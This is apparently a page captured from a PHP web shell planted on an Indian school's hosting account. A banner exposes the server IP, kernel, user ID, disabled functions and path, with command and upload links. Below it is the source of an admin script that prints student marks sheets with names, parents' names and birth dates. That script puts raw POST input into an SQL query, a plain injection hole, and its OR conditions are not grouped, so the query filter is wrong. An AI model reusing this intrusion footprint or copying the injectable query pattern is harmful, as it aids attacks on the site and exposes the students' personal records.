Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.199 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/admin/../admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php $session=$_POST['session']; $exam=$_POST['exam']; include("../link/databaseconnection.php"); //echo"$app1"; $sel1="select * from six_eightresult where session='$session' and exam='$exam' and class='LKG' or class='UKG' or class='PLAY GROUP' or class='NURSERY' order by rol asc"; $res1=mysqli_query($conn,$sel1); ?> <html> <head> <script src="js/jquery-3.2.1.min.js"></script> <!--jquery--> <script> $(document).ready(function(){ $("#pay").click(function(){ window.location.href='bil.php'; }); }); $(document).ready(function(){ $("#print").click(function(){ $("#pay").css("visibility","hidden"); $("#back").css("visibility","hidden"); $("#print").css("visibility","hidden"); window.print(); }); $("#back").click(function(){ window.location.href='index.php'; }); }); </script> <link href="css/student_print.css" rel="stylesheet" type="text/css"> </head> <body> <?php while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH)) { $mark1=$row1['mark1']; $mark2=$row1['mark2']; $mark3=$row1['mark3']; $total=$mark1+$mark2+$mark3; $per1=$total/150; $per2=$per1*100; $per=substr($per2,0,5); ?> <table frame="border" width="100%" > <tr> <td><span><img src="../images/logo1.png" height="140px" width="140px"/></span></td><td align="center"><span id="name" colspan="2" style="font-size:33px;font-weight:bold">M.R.D.H. SECONDARY SCHOOL</span><br/><br/><br/><span id="name1" style="font-size:25px;font-weight:bold">Harai Ismailpur Sagari-Azamgarh</span></td> </tr> </table> <table cellspacing="0" frame="border" width="100%" > <caption style="font-size:30px;font-weight:bold">MARKS SHEET - <?php echo $row1['session']?></caption> <tr> <td width=""><span id="name2">Roll Number</span></td><td width=""><span id="name3" style="font-weight:bold"><?php echo $row1['rol'];?></span></td><td width=""><span id="name2">Student Name</span></td><td width=""><span id="name3" style="font-weight:bold"><?php echo $row1['name'];?></span></td><td align="right" rowspan="3"width="10%"><span><img src="../code/img/<?php echo $row1['image'];?>" height="150" ></span></td> </tr> <tr> <td width=""><span id="name2">Father Name</span></td><td width=""><span id="name3" style="font-weight:bold"><?php echo $row1['fname'];?></span></td><td width=""><span id="name2">Mother Name</span></td><td width=""><span id="name3" style="font-weight:bold"><?php echo $row1['mname'];?></span></td> </tr> <tr> <td width="30%"><span id="name2">Date Of Birth</span></td><td width="30%"><span id="name3" style="font-weight:bold"><?php echo $row1['dob'];?></span></td><td width="20%"><span id="name2">Class</span></td><td width="20%"><span id="name3" style="font-weight:bold"><?php echo $row1['class'];?></span></td> </tr> </table> </table> <table id="example" class="display nowrap" cellspacing="0" width="100%" height="25%" border="1px"> <thead> <tr class="text-center"> <th colspan="8" style="text-align:center;font-size:22px">Examination- <?php echo $row1['exam'];?></th> </tr> </thead> <tbody> <tr style="text-align:center"> <td colspan="2" style="font-weight:bold">Subject</td><td style="font-weight:bold">Max Marks</td><td style="font-weight:bold">Obtain Marks</td><td colspan="3" style="font-weight:bold">Total</td><td colspan="2" style="font-weight:bold">Percentage</td> </tr> <tr style="text-align:center"> <td colspan="2" style="font-weight:bold;text-align:left">HINDI</td><td style="font-weight:bold">50</td><td style="font-weight:bold"><?php echo $row1['mark1'];?></td><td rowspan="3" colspan="3" style="font-weight:bold"><?php echo $total;?>/150</td><td rowspan="3" style="font-weight:bold"><?php echo $per;?> %</td> </tr> <tr style="text-align:center"> <td colspan="2" style="font-weight:bold;text-align:left ">ENGLISH</td><td style="font-weight:bold">50</td><td style="font-weight:bold"><?php echo $row1['mark2'];?></td> </tr> <tr style="text-align:center"> <td colspan="2" style="font-weight:bold;text-align:left">MATHEMATICS</td><td style="font-weight:bold">50</td><td style="font-weight:bold"><?php echo $row1['mark3'];?></td> </tr> </tbody> </table> <br/><br/> <table width="100%" > <tr> <td style="font-weight:bold;">Guardian's Sign</td><td style="font-weight:bold;text-align:center" colspan="2">Class Teacher's Sign</td><td style="font-weight:bold;text-align:right" colspan="2">Principal's Sign</td> </tr> <tr> <td style="font-weight:bold;"><br/>............................</td><td style="font-weight:bold;text-align:center" colspan="2"><br/>...........................</td><td style="font-weight:bold;text-align:right" colspan="2"><br/>............................</td> </tr> </table> <?php ?><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><?php } ?> </body> </html>